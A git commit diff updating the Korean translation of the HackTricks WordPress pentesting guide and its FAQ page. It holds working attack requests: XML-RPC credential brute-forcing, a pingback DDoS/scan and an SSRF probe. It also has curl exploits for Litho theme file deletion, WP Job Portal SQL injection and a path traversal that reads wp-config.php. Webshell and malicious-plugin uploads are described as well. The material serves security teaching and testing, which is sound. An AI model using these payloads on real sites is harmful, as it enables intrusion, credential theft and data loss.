mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
5c461cee26
commit
093d609162
@ -5,7 +5,7 @@
|
||||
## 기본 정보
|
||||
|
||||
- **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
@ -15,8 +15,8 @@
|
||||
### **주요 WordPress 파일**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다.
|
||||
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
|
||||
- `license.txt`는 설치된 WordPress의 버전과 같은 유용한 정보를 포함합니다.
|
||||
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
|
||||
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
@ -26,7 +26,7 @@
|
||||
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
|
||||
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-sitemap.xml`은 WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
|
||||
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 WordPress는 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
|
||||
|
||||
**포스트 익스플로잇**
|
||||
|
||||
@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- JavaScript 파일
|
||||
|
||||
.png>)
|
||||
|
||||
### 플러그인 가져오기
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
@ -77,21 +75,21 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## 능동적 열거
|
||||
## Active enumeration
|
||||
|
||||
### 플러그인 및 테마
|
||||
### Plugins and Themes
|
||||
|
||||
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 및 테마 목록을 능동적으로 브루트 포스해야** 합니다(다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
|
||||
모든 Plugins와 Themes를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **Plugins와 Themes 목록을 능동적으로 Brute Force해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
|
||||
|
||||
### 사용자
|
||||
### Users
|
||||
|
||||
- **ID 브루트:** 사용자 ID를 브루트 포스하여 WordPress 사이트에서 유효한 사용자를 얻습니다:
|
||||
- **ID Brute:** Brute Forcing 사용자 ID를 통해 WordPress 사이트에서 유효한 사용자를 얻습니다:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
|
||||
|
||||
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다:
|
||||
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수도 있습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -107,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여](https://github.com/relarizky/wpxploit) 이 프로세스를 자동화할 수 있습니다).
|
||||
|
||||
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
|
||||
|
||||
@ -120,9 +118,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**자격 증명 무차별 대입**
|
||||
**자격 증명 브루트포스**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -174,11 +172,11 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**2FA 우회**
|
||||
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
|
||||
**DDoS 또는 포트 스캐닝**
|
||||
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보내도록 할 수 있습니다.\
|
||||
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
|
||||
```html
|
||||
<methodCall>
|
||||
@ -217,7 +215,7 @@ Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
|
||||
_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ _and the Worpress site may make a request to you._
|
||||
|
||||
작동하지 않을 때의 응답은 다음과 같습니다:
|
||||
|
||||
@ -239,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## 비트를 덮어써서 접근하기
|
||||
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -285,29 +283,29 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 쉘을 볼 수 있습니다:
|
||||
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
접속하면 리버스 쉘을 실행할 URL을 볼 수 있습니다:
|
||||
접속하면 리버스 셸을 실행할 URL을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 쉘을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
|
||||
1. **Plugin Acquisition**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
|
||||
2. **Plugin Installation**:
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 갑니다.
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
|
||||
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다.
|
||||
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
|
||||
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
|
||||
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 합법적인 맥락에서만 사용해야 합니다.
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
|
||||
|
||||
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -315,7 +313,7 @@ to get a session.
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
|
||||
@ -334,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Attack Surface
|
||||
|
||||
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 중요합니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
|
||||
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. **워드프레스 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이).
|
||||
플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
|
||||
|
||||
다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수들입니다:
|
||||
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
|
||||
|
||||
> [!CAUTION]
|
||||
> 또한, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -378,7 +376,7 @@ WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅
|
||||
2. **CSRF nonce**가 `check_ajax_referer()` / `wp_verify_nonce()`로 검증되며, 및
|
||||
3. **엄격한 입력 정화 / 검증**.
|
||||
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 (단순화하여) 배포하게 되었습니다:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -401,11 +399,11 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
|
||||
* **인증되지 않은 접근** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **논스 / 권한 확인 없음** – 모든 방문자가 엔드포인트에 접근할 수 있습니다.
|
||||
* **경로 정제 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
|
||||
* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어 있어 고전적인 `../../` 탐색이 가능합니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리**(일반적으로 `<wp-root>/wp-content/uploads/`) 아래의 모든 파일이나 디렉토리를 삭제할 수 있습니다:
|
||||
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리 아래의** 모든 파일이나 디렉토리를 삭제할 수 있습니다 (일반적으로 `<wp-root>/wp-content/uploads/`입니다).
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -417,7 +415,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
|
||||
#### 탐지 체크리스트
|
||||
|
||||
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 경로에 비위생적인 사용자 입력의 연결( `$_POST`, `$_GET`, `$_REQUEST`를 찾아보세요).
|
||||
* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재.
|
||||
|
||||
@ -472,8 +470,65 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한**
|
||||
- **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용.
|
||||
|
||||
## 참조
|
||||
### 인증되지 않은 SQL 인젝션 (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 채용 플러그인은 궁극적으로 `modules/category/model.php::validateFormData()` 내에서 다음과 같은 취약한 코드를 실행하는 **savecategory** 작업을 노출했습니다:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
이 스니펫에서 발생하는 문제:
|
||||
|
||||
1. **비위생적인 사용자 입력** – `parentid`는 HTTP 요청에서 직접 가져옵니다.
|
||||
2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
1. 새 nonce 가져오기:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid`를 악용하여 임의의 SQL 주입:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
응답은 주입된 쿼리의 결과를 공개하거나 데이터베이스를 변경하여 SQLi를 증명합니다.
|
||||
|
||||
|
||||
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
|
||||
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
서버는 `wp-config.php`의 내용을 응답하여 DB 자격 증명 및 인증 키를 유출합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [Litho 테마의 인증되지 않은 임의 파일 삭제 취약점](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal 플러그인에서 패치된 여러 가지 심각한 취약점](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,14 +7,14 @@
|
||||
> [!TIP]
|
||||
> 이것은 **HackTricks 프로젝트의 가치**입니다:
|
||||
>
|
||||
> - **모든** 인터넷 사용자에게 **무료**로 **교육적 해킹** 리소스에 접근할 수 있도록 합니다.
|
||||
> - **모든** 인터넷 사용자에게 **무료** **교육 해킹** 리소스에 대한 접근을 제공합니다.
|
||||
> - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다.
|
||||
> - **커뮤니티가 게시한** 멋진 **해킹** 기술을 **저장**하고 **원래의 저자**에게 모든 **크레딧**을 부여합니다.
|
||||
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 리소스**로 기능하는 것입니다.
|
||||
> - 커뮤니티가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
|
||||
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다.
|
||||
> - 여러 경우에 우리는 기술의 중요한 부분에 대한 **요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**.
|
||||
> - **책의 모든 해킹 기술을 정리하여 더 **접근 가능하게** 합니다.
|
||||
> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 만듭니다.
|
||||
> - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직하는 데** 수천 시간을 무료로 헌신했습니다.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -23,9 +23,9 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **이 리소스에 대해 정말 감사합니다. 어떻게 감사할 수 있을까요?**
|
||||
> - **이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요?**
|
||||
|
||||
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\
|
||||
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 공개적으로 감사할 수 있습니다.\
|
||||
특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
|
||||
그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요).
|
||||
|
||||
@ -33,7 +33,7 @@ HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에
|
||||
>
|
||||
> - **프로젝트에 어떻게 기여할 수 있나요?**
|
||||
|
||||
커뮤니티와 **새로운 팁과 트릭을 공유하거나** 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다:
|
||||
커뮤니티와 새로운 팁과 트릭을 **공유하거나 책에서 발견한 버그를 수정**하여 해당 Github 페이지에 **Pull Request**를 보낼 수 있습니다:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -64,9 +64,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **내 블로그에 모든 HackTricks를 복사해도 되나요?**
|
||||
|
||||
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않을 것입니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
|
||||
**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않습니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
|
||||
|
||||
사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 이미 무료입니다.
|
||||
사라질까 두려우신가요? 그냥 GitHub에서 포크하거나 다운로드하세요. 이미 무료입니다.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
@ -74,35 +74,35 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신**했습니다. 다시 말해, **무료**입니다.
|
||||
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면, **완전히 잘못된** 것입니다.
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 잘못 알고 계십니다**.
|
||||
|
||||
